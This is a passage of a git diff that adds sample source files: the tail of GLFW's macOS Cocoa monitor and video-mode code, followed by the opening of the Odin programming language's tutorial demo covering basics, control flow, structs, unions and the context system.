+    // NOTE: This uses a deprecated function because Apple has
+    //       (as of January 2015) not provided any alternative
+    info = IODisplayCreateInfoDictionary(CGDisplayIOServicePort(displayID),
+                                         kIODisplayOnlyPreferredName);
+    names = CFDictionaryGetValue(info, CFSTR(kDisplayProductName));
+
+    if (!names || !CFDictionaryGetValueIfPresent(names, CFSTR("en_US"),
+                                                 (const void**) &value))
+    {
+        // This may happen if a desktop Mac is running headless
+        _glfwInputError(GLFW_PLATFORM_ERROR,
+                        "Cocoa: Failed to retrieve display name");
+
+        CFRelease(info);
+        return strdup("Unknown");
+    }
+
+    size = CFStringGetMaximumSizeForEncoding(CFStringGetLength(value),
+                                             kCFStringEncodingUTF8);
+    name = calloc(size + 1, 1);
+    CFStringGetCString(value, name, size, kCFStringEncodingUTF8);
+
+    CFRelease(info);
+
+    return name;
+}
+
+// Check whether the display mode should be included in enumeration
+//
+static GLFWbool modeIsGood(CGDisplayModeRef mode)
+{
+    uint32_t flags = CGDisplayModeGetIOFlags(mode);
+    if (!(flags & kDisplayModeValidFlag) || !(flags & kDisplayModeSafeFlag))
+        return GLFW_FALSE;
+
+    if (flags & kDisplayModeInterlacedFlag)
+        return GLFW_FALSE;
+
+    if (flags & kDisplayModeStretchedFlag)
+        return GLFW_FALSE;
+
+    CFStringRef format = CGDisplayModeCopyPixelEncoding(mode);
+    if (CFStringCompare(format, CFSTR(IO16BitDirectPixels), 0) &&
+        CFStringCompare(format, CFSTR(IO32BitDirectPixels), 0))
+    {
+        CFRelease(format);
+        return GLFW_FALSE;
+    }
+
+    CFRelease(format);
+    return GLFW_TRUE;
+}
+
+// Convert Core Graphics display mode to GLFW video mode
+//
+static GLFWvidmode vidmodeFromCGDisplayMode(CGDisplayModeRef mode,
+                                            CVDisplayLinkRef link)
+{
+    GLFWvidmode result;
+    result.width = (int) CGDisplayModeGetWidth(mode);
+    result.height = (int) CGDisplayModeGetHeight(mode);
+    result.refreshRate = (int) CGDisplayModeGetRefreshRate(mode);
+
+    if (result.refreshRate == 0)
+    {
+        const CVTime time = CVDisplayLinkGetNominalOutputVideoRefreshPeriod(link);
+        if (!(time.flags & kCVTimeIsIndefinite))
+            result.refreshRate = (int) (time.timeScale / (double) time.timeValue);
+    }
+
+    CFStringRef format = CGDisplayModeCopyPixelEncoding(mode);
+
+    if (CFStringCompare(format, CFSTR(IO16BitDirectPixels), 0) == 0)
+    {
+        result.redBits = 5;
+        result.greenBits = 5;
+        result.blueBits = 5;
+    }
+    else
+    {
+        result.redBits = 8;
+        result.greenBits = 8;
+        result.blueBits = 8;
+    }
+
+    CFRelease(format);
+    return result;
+}
+
+// Starts reservation for display fading
+//
+static CGDisplayFadeReservationToken beginFadeReservation(void)
+{
+    CGDisplayFadeReservationToken token = kCGDisplayFadeReservationInvalidToken;
+
+    if (CGAcquireDisplayFadeReservation(5, &token) == kCGErrorSuccess)
+        CGDisplayFade(token, 0.3, kCGDisplayBlendNormal, kCGDisplayBlendSolidColor, 0.0, 0.0, 0.0, TRUE);
+
+    return token;
+}
+
+// Ends reservation for display fading
+//
+static void endFadeReservation(CGDisplayFadeReservationToken token)
+{
+    if (token != kCGDisplayFadeReservationInvalidToken)
+    {
+        CGDisplayFade(token, 0.5, kCGDisplayBlendSolidColor, kCGDisplayBlendNormal, 0.0, 0.0, 0.0, FALSE);
+        CGReleaseDisplayFadeReservation(token);
+    }
+}
+
+
+//////////////////////////////////////////////////////////////////////////
+//////                       GLFW internal API                      //////
+//////////////////////////////////////////////////////////////////////////
+
+// Change the current video mode
+//
+GLFWbool _glfwSetVideoModeNS(_GLFWmonitor* monitor, const GLFWvidmode* desired)
+{
+    CFArrayRef modes;
+    CFIndex count, i;
+    CVDisplayLinkRef link;
+    CGDisplayModeRef native = NULL;
+    GLFWvidmode current;
+    const GLFWvidmode* best;
+
+    best = _glfwChooseVideoMode(monitor, desired);
+    _glfwPlatformGetVideoMode(monitor, &current);
+    if (_glfwCompareVideoModes(&current, best) == 0)
+        return GLFW_TRUE;
+
+    CVDisplayLinkCreateWithCGDisplay(monitor->ns.displayID, &link);
+
+    modes = CGDisplayCopyAllDisplayModes(monitor->ns.displayID, NULL);
+    count = CFArrayGetCount(modes);
+
+    for (i = 0;  i < count;  i++)
+    {
+        CGDisplayModeRef dm = (CGDisplayModeRef) CFArrayGetValueAtIndex(modes, i);
+        if (!modeIsGood(dm))
+            continue;
+
+        const GLFWvidmode mode = vidmodeFromCGDisplayMode(dm, link);
+        if (_glfwCompareVideoModes(best, &mode) == 0)
+        {
+            native = dm;
+            break;
+        }
+    }
+
+    if (native)
+    {
+        if (monitor->ns.previousMode == NULL)
+            monitor->ns.previousMode = CGDisplayCopyDisplayMode(monitor->ns.displayID);
+
+        CGDisplayFadeReservationToken token = beginFadeReservation();
+        CGDisplaySetDisplayMode(monitor->ns.displayID, native, NULL);
+        endFadeReservation(token);
+    }
+
+    CFRelease(modes);
+    CVDisplayLinkRelease(link);
+
+    if (!native)
+    {
+        _glfwInputError(GLFW_PLATFORM_ERROR,
+                        "Cocoa: Monitor mode list changed");
+        return GLFW_FALSE;
+    }
+
+    return GLFW_TRUE;
+}
+
+// Restore the previously saved (original) video mode
+//
+void _glfwRestoreVideoModeNS(_GLFWmonitor* monitor)
+{
+    if (monitor->ns.previousMode)
+    {
+        CGDisplayFadeReservationToken token = beginFadeReservation();
+        CGDisplaySetDisplayMode(monitor->ns.displayID,
+                                monitor->ns.previousMode, NULL);
+        endFadeReservation(token);
+
+        CGDisplayModeRelease(monitor->ns.previousMode);
+        monitor->ns.previousMode = NULL;
+    }
+}
+
+
+//////////////////////////////////////////////////////////////////////////
+//////                       GLFW platform API                      //////
+//////////////////////////////////////////////////////////////////////////
+
+_GLFWmonitor** _glfwPlatformGetMonitors(int* count)
+{
+    uint32_t i, found = 0, displayCount;
+    _GLFWmonitor** monitors;
+    CGDirectDisplayID* displays;
+
+    *count = 0;
+
+    CGGetOnlineDisplayList(0, NULL, &displayCount);
+    displays = calloc(displayCount, sizeof(CGDirectDisplayID));
+    monitors = calloc(displayCount, sizeof(_GLFWmonitor*));
+
+    CGGetOnlineDisplayList(displayCount, displays, &displayCount);
+
+    for (i = 0;  i < displayCount;  i++)
+    {
+        _GLFWmonitor* monitor;
+
+        if (CGDisplayIsAsleep(displays[i]))
+            continue;
+
+        const CGSize size = CGDisplayScreenSize(displays[i]);
+        char* name = getDisplayName(displays[i]);
+
+        monitor = _glfwAllocMonitor(name, size.width, size.height);
+        monitor->ns.displayID  = displays[i];
+        monitor->ns.unitNumber = CGDisplayUnitNumber(displays[i]);
+
+        free(name);
+
+        found++;
+        monitors[found - 1] = monitor;
+    }
+
+    free(displays);
+
+    *count = found;
+    return monitors;
+}
+
+GLFWbool _glfwPlatformIsSameMonitor(_GLFWmonitor* first, _GLFWmonitor* second)
+{
+    // HACK: Compare unit numbers instead of display IDs to work around display
+    //       replacement on machines with automatic graphics switching
+    return first->ns.unitNumber == second->ns.unitNumber;
+}
+
+void _glfwPlatformGetMonitorPos(_GLFWmonitor* monitor, int* xpos, int* ypos)
+{
+    const CGRect bounds = CGDisplayBounds(monitor->ns.displayID);
+
+    if (xpos)
+        *xpos = (int) bounds.origin.x;
+    if (ypos)
+        *ypos = (int) bounds.origin.y;
+}
+
+GLFWvidmode* _glfwPlatformGetVideoModes(_GLFWmonitor* monitor, int* count)
+{
+    CFArrayRef modes;
+    CFIndex found, i, j;
+    GLFWvidmode* result;
+    CVDisplayLinkRef link;
+
+    *count = 0;
+
+    CVDisplayLinkCreateWithCGDisplay(monitor->ns.displayID, &link);
+
+    modes = CGDisplayCopyAllDisplayModes(monitor->ns.displayID, NULL);
+    found = CFArrayGetCount(modes);
+    result = calloc(found, sizeof(GLFWvidmode));
+
+    for (i = 0;  i < found;  i++)
+    {
+        CGDisplayModeRef dm = (CGDisplayModeRef) CFArrayGetValueAtIndex(modes, i);
+        if (!modeIsGood(dm))
+            continue;
+
+        const GLFWvidmode mode = vidmodeFromCGDisplayMode(dm, link);
+
+        for (j = 0;  j < *count;  j++)
+        {
+            if (_glfwCompareVideoModes(result + j, &mode) == 0)
+                break;
+        }
+
+        // Skip duplicate modes
+        if (i < *count)
+            continue;
+
+        (*count)++;
+        result[*count - 1] = mode;
+    }
+
+    CFRelease(modes);
+    CVDisplayLinkRelease(link);
+    return result;
+}
+
+void _glfwPlatformGetVideoMode(_GLFWmonitor* monitor, GLFWvidmode *mode)
+{
+    CGDisplayModeRef displayMode;
+    CVDisplayLinkRef link;
+
+    CVDisplayLinkCreateWithCGDisplay(monitor->ns.displayID, &link);
+
+    displayMode = CGDisplayCopyDisplayMode(monitor->ns.displayID);
+    *mode = vidmodeFromCGDisplayMode(displayMode, link);
+    CGDisplayModeRelease(displayMode);
+
+    CVDisplayLinkRelease(link);
+}
+
+void _glfwPlatformGetGammaRamp(_GLFWmonitor* monitor, GLFWgammaramp* ramp)
+{
+    uint32_t i, size = CGDisplayGammaTableCapacity(monitor->ns.displayID);
+    CGGammaValue* values = calloc(size * 3, sizeof(CGGammaValue));
+
+    CGGetDisplayTransferByTable(monitor->ns.displayID,
+                                size,
+                                values,
+                                values + size,
+                                values + size * 2,
+                                &size);
+
+    _glfwAllocGammaArrays(ramp, size);
+
+    for (i = 0; i < size; i++)
+    {
+        ramp->red[i]   = (unsigned short) (values[i] * 65535);
+        ramp->green[i] = (unsigned short) (values[i + size] * 65535);
+        ramp->blue[i]  = (unsigned short) (values[i + size * 2] * 65535);
+    }
+
+    free(values);
+}
+
+void _glfwPlatformSetGammaRamp(_GLFWmonitor* monitor, const GLFWgammaramp* ramp)
+{
+    int i;
+    CGGammaValue* values = calloc(ramp->size * 3, sizeof(CGGammaValue));
+
+    for (i = 0;  i < ramp->size;  i++)
+    {
+        values[i]                  = ramp->red[i] / 65535.f;
+        values[i + ramp->size]     = ramp->green[i] / 65535.f;
+        values[i + ramp->size * 2] = ramp->blue[i] / 65535.f;
+    }
+
+    CGSetDisplayTransferByTable(monitor->ns.displayID,
+                                ramp->size,
+                                values,
+                                values + ramp->size,
+                                values + ramp->size * 2);
+
+    free(values);
+}
+
+
+//////////////////////////////////////////////////////////////////////////
+//////                        GLFW native API                       //////
+//////////////////////////////////////////////////////////////////////////
+
+GLFWAPI CGDirectDisplayID glfwGetCocoaMonitor(GLFWmonitor* handle)
+{
+    _GLFWmonitor* monitor = (_GLFWmonitor*) handle;
+    _GLFW_REQUIRE_INIT_OR_RETURN(kCGNullDirectDisplay);
+    return monitor->ns.displayID;
+}
+
diff --git a/samples/Odin/sample.odin b/samples/Odin/sample.odin
new file mode 100644
index 0000000000..48eea75659
--- /dev/null
+++ b/samples/Odin/sample.odin
@@ -0,0 +1,1941 @@
+package main
+
+import "core:fmt"
+import "core:mem"
+import "core:os"
+import "core:thread"
+import "core:time"
+import "core:reflect"
+import "intrinsics"
+
+
+/*
+    The Odin programming language is fast, concise, readable, pragmatic and open sourced.
+    It is designed with the intent of replacing C with the following goals:
+     * simplicity
+     * high performance
+     * built for modern systems
+     * joy of programming
+
+    # Installing Odin
+    Getting Started - https://odin-lang.org/docs/install/
+        Instructions for downloading and install the Odin compiler and libraries.
+
+    # Learning Odin
+    Overview of Odin - https://odin-lang.org/docs/overview/
+        An overview of the Odin programming language.
+    Frequently Asked Questions (FAQ) - https://odin-lang.org/docs/faq/
+        Answers to common questions about Odin.
+*/
+
+the_basics :: proc() {
+    fmt.println("\n# the basics");
+
+    { // The Basics
+        fmt.println("Hellope");
+
+        // Lexical elements and literals
+        // A comment
+
+        my_integer_variable: int; // A comment for documentaton
+
+        // Multi-line comments begin with /* and end with */. Multi-line comments can
+        // also be nested (unlike in C):
+        /*
+            You can have any text or code here and
+            have it be commented.
+            /*
+                NOTE: comments can be nested!
+            */
+        */
+
+        // String literals are enclosed in double quotes and character literals in single quotes.
+        // Special characters are escaped with a backslash \
+
+        some_string := "This is a string";
+        _ = 'A'; // unicode codepoint literal
+        _ = '\n';
+        _ = "C:\\Windows\\notepad.exe";
+        // Raw string literals are enclosed with single back ticks
+        _ = `C:\Windows\notepad.exe`;
+
+        // The length of a string in bytes can be found using the built-in `len` procedure:
+        _ = len("Foo");
+        _ = len(some_string);
+
+
+        // Numbers
+
+        // Numerical literals are written similar to most other programming languages.
+        // A useful feature in Odin is that underscores are allowed for better
+        // readability: 1_000_000_000 (one billion). A number that contains a dot is a
+        // floating point literal: 1.0e9 (one billion). If a number literal is suffixed
+        // with i, is an imaginary number literal: 2i (2 multiply the square root of -1).
+
+        // Binary literals are prefixed with 0b, octal literals with 0o, and hexadecimal
+        // literals 0x. A leading zero does not produce an octal constant (unlike C).
+
+        // In Odin, if a number constant is possible to be represented by a type without
+        // precision loss, it will automatically convert to that type.
+
+        x: int = 1.0; // A float literal but it can be represented by an integer without precision loss
+        // Constant literals are “untyped” which means that they can implicitly convert to a type.
+
+        y: int; // `y` is typed of type `int`
+        y = 1;  // `1` is an untyped integer literal which can implicitly convert to `int`
+
+        z: f64; // `z` is typed of type `f64` (64-bit floating point number)
+        z = 1;  // `1` is an untyped integer literals which can be implicity conver to `f64`
+                // No need for any suffixes or decimal places like in other languages
+                // CONSTANTS JUST WORK!!!
+
+
+        // Assignment statements
+        h: int = 123; // declares a new variable `h` with type `int` and assigns a value to it
+        h = 637; // assigns a new value to `h`
+
+        // `=` is the assignment operator
+
+        // You can assign multiple variables with it:
+        a, b := 1, "hello"; // declares `a` and `b` and infers the types from the assignments
+        b, a = "byte", 0;
+
+        // Note: `:=` is two tokens, `:` and `=`. The following are equivalent,
+        /*
+            i: int = 123;
+            i:     = 123;
+            i := 123;
+        */
+
+        // Constant declarations
+        // Constants are entities (symbols) which have an assigned value.
+        // The constant’s value cannot be changed.
+        // The constant’s value must be able to be evaluated at compile time:
+        X :: "what"; // constant `X` has the untyped string value "what"
+
+        // Constants can be explicitly typed like a variable declaration:
+        Y : int : 123;
+        Z :: Y + 7; // constant computations are possible
+
+        _ = my_integer_variable;
+        _ = x;
+    }
+}
+
+control_flow :: proc() {
+    fmt.println("\n# control flow");
+    { // Control flow
+        // For loop
+        // Odin has only one loop statement, the `for` loop
+
+        // Basic for loop
+        for i := 0; i < 10; i += 1 {
+            fmt.println(i);
+        }
+
+        // NOTE: Unlike other languages like C, there are no parentheses `( )` surrounding the three components.
+        // Braces `{ }` or a `do` are always required>
+        for i := 0; i < 10; i += 1 { }
+        for i := 0; i < 10; i += 1 do fmt.print();
+
+        // The initial and post statements are optional
+        i := 0;
+        for ; i < 10; {
+            i += 1;
+        }
+
+        // These semicolons can be dropped. This `for` loop is equivalent to C's `while` loop
+        i = 0;
+        for i < 10 {
+            i += 1;
+        }
+
+        // If the condition is omitted, this produces an infinite loop:
+        for {
+            break;
+        }
+
+        // Range-based for loop
+        // The basic for loop
+        for j := 0; j < 10; j += 1 {
+            fmt.println(j);
+        }
+        // can also be written
+        for j in 0..<10 {
+            fmt.println(j);
+        }
+        for j in 0..9 {
+            fmt.println(j);
+        }
+
+        // Certain built-in types can be iterated over
+        some_string := "Hello, 世界";
+        for character in some_string { // Strings are assumed to be UTF-8
+            fmt.println(character);
+        }
+
+        some_array := [3]int{1, 4, 9};
+        for value in some_array {
+            fmt.println(value);
+        }
+
+        some_slice := []int{1, 4, 9};
+        for value in some_slice {
+            fmt.println(value);
+        }
+
+        some_dynamic_array := [dynamic]int{1, 4, 9};
+        defer delete(some_dynamic_array);
+        for value in some_dynamic_array {
+            fmt.println(value);
+        }
+
+
+        some_map := map[string]int{"A" = 1, "C" = 9, "B" = 4};
+        defer delete(some_map);
+        for key in some_map {
+            fmt.println(key);
+        }
+
+        // Alternatively a second index value can be added
+        for character, index in some_string {
+            fmt.println(index, character);
+        }
+        for value, index in some_array {
+            fmt.println(index, value);
+        }
+        for value, index in some_slice {
+            fmt.println(index, value);
+        }
+        for value, index in some_dynamic_array {
+            fmt.println(index, value);
+        }
+        for key, value in some_map {
+            fmt.println(key, value);
+        }
+
+        // The iterated values are copies and cannot be written to.
+        // The following idiom is useful for iterating over a container in a by-reference manner:
+        for _, idx in some_slice {
+            some_slice[idx] = (idx+1)*(idx+1);
+        }
+
+
+        // If statements
+        x := 123;
+        if x >= 0 {
+            fmt.println("x is positive");
+        }
+
+        if y := -34; y < 0 {
+            fmt.println("y is negative");
+        }
+
+        if y := 123; y < 0 {
+            fmt.println("y is negative");
+        } else if y == 0 {
+            fmt.println("y is zero");
+        } else {
+            fmt.println("y is positive");
+        }
+
+        // Switch statement
+        // A switch statement is another way to write a sequence of if-else statements.
+        // In Odin, the default case is denoted as a case without any expression.
+
+        switch arch := ODIN_ARCH; arch {
+        case "386":
+            fmt.println("32-bit");
+        case "amd64":
+            fmt.println("64-bit");
+        case: // default
+            fmt.println("Unsupported architecture");
+        }
+
+        // Odin’s `switch` is like one in C or C++, except that Odin only runs the selected case.
+        // This means that a `break` statement is not needed at the end of each case.
+        // Another important difference is that the case values need not be integers nor constants.
+
+        // To achieve a C-like fall through into the next case block, the keyword `fallthrough` can be used.
+        one_angry_dwarf :: proc() -> int {
+            fmt.println("one_angry_dwarf was called");
+            return 1;
+        }
+
+        switch j := 0; j {
+        case 0:
+        case one_angry_dwarf():
+        }
+
+        // A switch statement without a condition is the same as `switch true`.
+        // This can be used to write a clean and long if-else chain and have the
+        // ability to break if needed
+
+        switch {
+        case x < 0:
+            fmt.println("x is negative");
+        case x == 0:
+            fmt.println("x is zero");
+        case:
+            fmt.println("x is positive");
+        }
+
+        // A `switch` statement can also use ranges like a range-based loop:
+        switch c := 'j'; c {
+        case 'A'..'Z', 'a'..'z', '0'..'9':
+            fmt.println("c is alphanumeric");
+        }
+
+        switch x {
+        case 0..<10:
+            fmt.println("units");
+        case 10..<13:
+            fmt.println("pre-teens");
+        case 13..<20:
+            fmt.println("teens");
+        case 20..<30:
+            fmt.println("twenties");
+        }
+    }
+
+    { // Defer statement
+        // A defer statement defers the execution of a statement until the end of
+        // the scope it is in.
+
+        // The following will print 4 then 234:
+        {
+            x := 123;
+            defer fmt.println(x);
+            {
+                defer x = 4;
+                x = 2;
+            }
+            fmt.println(x);
+
+            x = 234;
+        }
+
+        // You can defer an entire block too:
+        {
+            bar :: proc() {}
+
+            defer {
+                fmt.println("1");
+                fmt.println("2");
+            }
+
+            cond := false;
+            defer if cond {
+                bar();
+            }
+        }
+
+        // Defer statements are executed in the reverse order that they were declared:
+        {
+            defer fmt.println("1");
+            defer fmt.println("2");
+            defer fmt.println("3");
+        }
+        // Will print 3, 2, and then 1.
+
+        if false {
+            f, err := os.open("my_file.txt");
+            if err != 0 {
+                // handle error
+            }
+            defer os.close(f);
+            // rest of code
+        }
+    }
+
+    { // When statement
+        /*
+            The when statement is almost identical to the if statement but with some differences:
+
+            * Each condition must be a constant expression as a when
+              statement is evaluated at compile time.
+            * The statements within a branch do not create a new scope
+            * The compiler checks the semantics and code only for statements
+              that belong to the first condition that is true
+            * An initial statement is not allowed in a when statement
+            * when statements are allowed at file scope
+        */
+
+        // Example
+        when ODIN_ARCH == "386" {
+            fmt.println("32 bit");
+        } else when ODIN_ARCH == "amd64" {
+            fmt.println("64 bit");
+        } else {
+            fmt.println("Unsupported architecture");
+        }
+        // The when statement is very useful for writing platform specific code.
+        // This is akin to the #if construct in C’s preprocessor however, in Odin,
+        // it is type checked.
+    }
+
+    { // Branch statements
+        cond, cond1, cond2 := false, false, false;
+        one_step :: proc() { fmt.println("one_step"); }
+        beyond :: proc() { fmt.println("beyond"); }
+
+        // Break statement
+        for cond {
+            switch {
+            case:
+                if cond {
+                    break; // break out of the `switch` statement
+                }
+            }
+
+            break; // break out of the `for` statement
+        }
+
+        loop: for cond1 {
+            for cond2 {
+                break loop; // leaves both loops
+            }
+        }
+
+        // Continue statement
+        for cond {
+            if cond2 {
+                continue;
+            }
+            fmt.println("Hellope");
+        }
+
+        // Fallthrough statement
+
+        // Odin’s switch is like one in C or C++, except that Odin only runs the selected
+        // case. This means that a break statement is not needed at the end of each case.
+        // Another important difference is that the case values need not be integers nor
+        // constants.
+
+        // fallthrough can be used to explicitly fall through into the next case block:
+
+        switch i := 0; i {
+        case 0:
+            one_step();
+            fallthrough;
+        case 1:
+            beyond();
+        }
+    }
+}
+
+
+named_proc_return_parameters :: proc() {
+    fmt.println("\n# named proc return parameters");
+
+    foo0 :: proc() -> int {
+        return 123;
+    }
+    foo1 :: proc() -> (a: int) {
+        a = 123;
+        return;
+    }
+    foo2 :: proc() -> (a, b: int) {
+        // Named return values act like variables within the scope
+        a = 321;
+        b = 567;
+        return b, a;
+    }
+    fmt.println("foo0 =", foo0()); // 123
+    fmt.println("foo1 =", foo1()); // 123
+    fmt.println("foo2 =", foo2()); // 567 321
+}
+
+
+explicit_procedure_overloading :: proc() {
+    fmt.println("\n# explicit procedure overloading");
+
+    add_ints :: proc(a, b: int) -> int {
+        x := a + b;
+        fmt.println("add_ints", x);
+        return x;
+    }
+    add_floats :: proc(a, b: f32) -> f32 {
+        x := a + b;
+        fmt.println("add_floats", x);
+        return x;
+    }
+    add_numbers :: proc(a: int, b: f32, c: u8) -> int {
+        x := int(a) + int(b) + int(c);
+        fmt.println("add_numbers", x);
+        return x;
+    }
+
+    add :: proc{add_ints, add_floats, add_numbers};
+
+    add(int(1), int(2));
+    add(f32(1), f32(2));
+    add(int(1), f32(2), u8(3));
+
+    add(1, 2);     // untyped ints coerce to int tighter than f32
+    add(1.0, 2.0); // untyped floats coerce to f32 tighter than int
+    add(1, 2, 3);  // three parameters
+
+    // Ambiguous answers
+    // add(1.0, 2);
+    // add(1, 2.0);
+}
+
+struct_type :: proc() {
+    fmt.println("\n# struct type");
+    // A struct is a record type in Odin. It is a collection of fields.
+    // Struct fields are accessed by using a dot:
+    {
+        Vector2 :: struct {
+            x: f32,
+            y: f32,
+        };
+        v := Vector2{1, 2};
+        v.x = 4;
+        fmt.println(v.x);
+
+        // Struct fields can be accessed through a struct pointer:
+
+        v = Vector2{1, 2};
+        p := &v;
+        p.x = 1335;
+        fmt.println(v);
+
+        // We could write p^.x, however, it is to nice abstract the ability
+        // to not explicitly dereference the pointer. This is very useful when
+        // refactoring code to use a pointer rather than a value, and vice versa.
+    }
+    {
+        // A struct literal can be denoted by providing the struct’s type
+        // followed by {}. A struct literal must either provide all the
+        // arguments or none:
+        Vector3 :: struct {
+            x, y, z: f32,
+        };
+        v: Vector3;
+        v = Vector3{}; // Zero value
+        v = Vector3{1, 4, 9};
+
+        // You can list just a subset of the fields if you specify the
+        // field by name (the order of the named fields does not matter):
+        v = Vector3{z=1, y=2};
+        assert(v.x == 0);
+        assert(v.y == 2);
+        assert(v.z == 1);
+    }
+    {
+        // Structs can tagged with different memory layout and alignment requirements:
+
+        a :: struct #align 4   {}; // align to 4 bytes
+        b :: struct #packed    {}; // remove padding between fields
+        c :: struct #raw_union {}; // all fields share the same offset (0). This is the same as C's union
+    }
+
+}
+
+
+union_type :: proc() {
+    fmt.println("\n# union type");
+    {
+        val: union{int, bool};
+        val = 137;
+        if i, ok := val.(int); ok {
+            fmt.println(i);
+        }
+        val = true;
+        fmt.println(val);
+
+        val = nil;
+
+        switch v in val {
+        case int:  fmt.println("int",  v);
+        case bool: fmt.println("bool", v);
+        case:      fmt.println("nil");
+        }
+    }
+    {
+        // There is a duality between `any` and `union`
+        // An `any` has a pointer to the data and allows for any type (open)
+        // A `union` has as binary blob to store the data and allows only certain types (closed)
+        // The following code is with `any` but has the same syntax
+        val: any;
+        val = 137;
+        if i, ok := val.(int); ok {
+            fmt.println(i);
+        }
+        val = true;
+        fmt.println(val);
+
+        val = nil;
+
+        switch v in val {
+        case int:  fmt.println("int",  v);
+        case bool: fmt.println("bool", v);
+        case:      fmt.println("nil");
+        }
+    }
+
+    Vector3 :: distinct [3]f32;
+    Quaternion :: distinct quaternion128;
+
+    // More realistic examples
+    {
+        // NOTE(bill): For the above basic examples, you may not have any
+        // particular use for it. However, my main use for them is not for these
+        // simple cases. My main use is for hierarchical types. Many prefer
+        // subtyping, embedding the base data into the derived types. Below is
+        // an example of this for a basic game Entity.
+
+        Entity :: struct {
+            id:          u64,
+            name:        string,
+            position:    Vector3,
+            orientation: Quaternion,
+
+            derived: any,
+        };
+
+        Frog :: struct {
+            using entity: Entity,
+            jump_height:  f32,
+        };
+
+        Monster :: struct {
+            using entity: Entity,
+            is_robot:     bool,
+            is_zombie:    bool,
+        };
+
+        // See `parametric_polymorphism` procedure for details
+        new_entity :: proc($T: typeid) -> ^Entity {
+            t := new(T);
+            t.derived = t^;
+            return t;
+        }
+
+        entity := new_entity(Monster);
+
+        switch e in entity.derived {
+        case Frog:
+            fmt.println("Ribbit");
+        case Monster:
+            if e.is_robot  do fmt.println("Robotic");
+            if e.is_zombie do fmt.println("Grrrr!");
+            fmt.println("I'm a monster");
+        }
+    }
+
+    {
+        // NOTE(bill): A union can be used to achieve something similar. Instead
+        // of embedding the base data into the derived types, the derived data
+        // in embedded into the base type. Below is the same example of the
+        // basic game Entity but using an union.
+
+        Entity :: struct {
+            id:          u64,
+            name:        string,
+            position:    Vector3,
+            orientation: Quaternion,
+
+            derived: union {Frog, Monster},
+        };
+
+        Frog :: struct {
+            using entity: ^Entity,
+            jump_height:  f32,
+        };
+
+        Monster :: struct {
+            using entity: ^Entity,
+            is_robot:     bool,
+            is_zombie:    bool,
+        };
+
+        // See `parametric_polymorphism` procedure for details
+        new_entity :: proc($T: typeid) -> ^Entity {
+            t := new(Entity);
+            t.derived = T{entity = t};
+            return t;
+        }
+
+        entity := new_entity(Monster);
+
+        switch e in entity.derived {
+        case Frog:
+            fmt.println("Ribbit");
+        case Monster:
+            if e.is_robot  do fmt.println("Robotic");
+            if e.is_zombie do fmt.println("Grrrr!");
+        }
+
+        // NOTE(bill): As you can see, the usage code has not changed, only its
+        // memory layout. Both approaches have their own advantages but they can
+        // be used together to achieve different results. The subtyping approach
+        // can allow for a greater control of the memory layout and memory
+        // allocation, e.g. storing the derivatives together. However, this is
+        // also its disadvantage. You must either preallocate arrays for each
+        // derivative separation (which can be easily missed) or preallocate a
+        // bunch of "raw" memory; determining the maximum size of the derived
+        // types would require the aid of metaprogramming. Unions solve this
+        // particular problem as the data is stored with the base data.
+        // Therefore, it is possible to preallocate, e.g. [100]Entity.
+
+        // It should be noted that the union approach can have the same memory
+        // layout as the any and with the same type restrictions by using a
+        // pointer type for the derivatives.
+
+        /*
+            Entity :: struct {
+                ...
+                derived: union{^Frog, ^Monster},
+            }
+
+            Frog :: struct {
+                using entity: Entity,
+                ...
+            }
+            Monster :: struct {
+                using entity: Entity,
+                ...
+
+            }
+            new_entity :: proc(T: type) -> ^Entity {
+                t := new(T);
+                t.derived = t;
+                return t;
+            }
+        */
+    }
+}
+
+using_statement :: proc() {
+    fmt.println("\n# using statement");
+    // using can used to bring entities declared in a scope/namespace
+    // into the current scope. This can be applied to import declarations,
+    // import names, struct fields, procedure fields, and struct values.
+
+    Vector3 :: struct{x, y, z: f32};
+    {
+        Entity :: struct {
+            position: Vector3,
+            orientation: quaternion128,
+        };
+
+        // It can used like this:
+        foo0 :: proc(entity: ^Entity) {
+            fmt.println(entity.position.x, entity.position.y, entity.position.z);
+        }
+
+        // The entity members can be brought into the procedure scope by using it:
+        foo1 :: proc(entity: ^Entity) {
+            using entity;
+            fmt.println(position.x, position.y, position.z);
+        }
+
+        // The using can be applied to the parameter directly:
+        foo2 :: proc(using entity: ^Entity) {
+            fmt.println(position.x, position.y, position.z);
+        }
+
+        // It can also be applied to sub-fields:
+        foo3 :: proc(entity: ^Entity) {
+            using entity.position;
+            fmt.println(x, y, z);
+        }
+    }
+    {
+        // We can also apply the using statement to the struct fields directly,
+        // making all the fields of position appear as if they on Entity itself:
+        Entity :: struct {
+            using position: Vector3,
+            orientation: quaternion128,
+        };
+        foo :: proc(entity: ^Entity) {
+            fmt.println(entity.x, entity.y, entity.z);
+        }
+
+
+        // Subtype polymorphism
+        // It is possible to get subtype polymorphism, similar to inheritance-like
+        // functionality in C++, but without the requirement of vtables or unknown
+        // struct layout:
+
+        Colour :: struct {r, g, b, a: u8};
+        Frog :: struct {
+            ribbit_volume: f32,
+            using entity: Entity,
+            colour: Colour,
+        };
+
+        frog: Frog;
+        // Both work
+        foo(&frog.entity);
+        foo(&frog);
+        frog.x = 123;
+
+        // Note: using can be applied to arbitrarily many things, which allows
+        // the ability to have multiple subtype polymorphism (but also its issues).
+
+        // Note: using’d fields can still be referred by name.
+    }
+    { // using on an enum declaration
+
+        using Foo :: enum {A, B, C};
+
+        f0 := A;
+        f1 := B;
+        f2 := C;
+        fmt.println(f0, f1, f2);
+        fmt.println(len(Foo));
+    }
+}
+
+
+implicit_context_system :: proc() {
+    fmt.println("\n# implicit context system");
+    // In each scope, there is an implicit value named context. This
+    // context variable is local to each scope and is implicitly passed
+    // by pointer to any procedure call in that scope (if the procedure
+    // has the Odin calling convention).
+
+    // The main purpose of the implicit context system is for the ability
+    // to intercept third-party code and libraries and modify their
+    // functionality. One such case is modifying how a library allocates
+    // something or logs something. In C, this was usually achieved with
+    // the library defining macros which could be overridden so that the
+    // user could define what he wanted. However, not many libraries
+    // supported this in many languages by default which meant intercepting
+    // third-party code to see what it does and to change how it does it is
+    // not possible.
+
+    c := context; // copy the current scope's context
+
+    context.user_index = 456;
+    {
+        context.allocator = my_custom_allocator();
+        context.user_index = 123;
+        what_a_fool_believes(); // the `context` for this scope is implicitly passed to `what_a_fool_believes`
+    }
+
+    // `context` value is local to the scope it is in
+    assert(context.user_index == 456);
+
+    what_a_fool_believes :: proc() {
+        c := context; // this `context` is the same as the parent procedure that it was called from
+        // From this example, context.user_index == 123
+        // An context.allocator is assigned to the return value of `my_custom_allocator()`
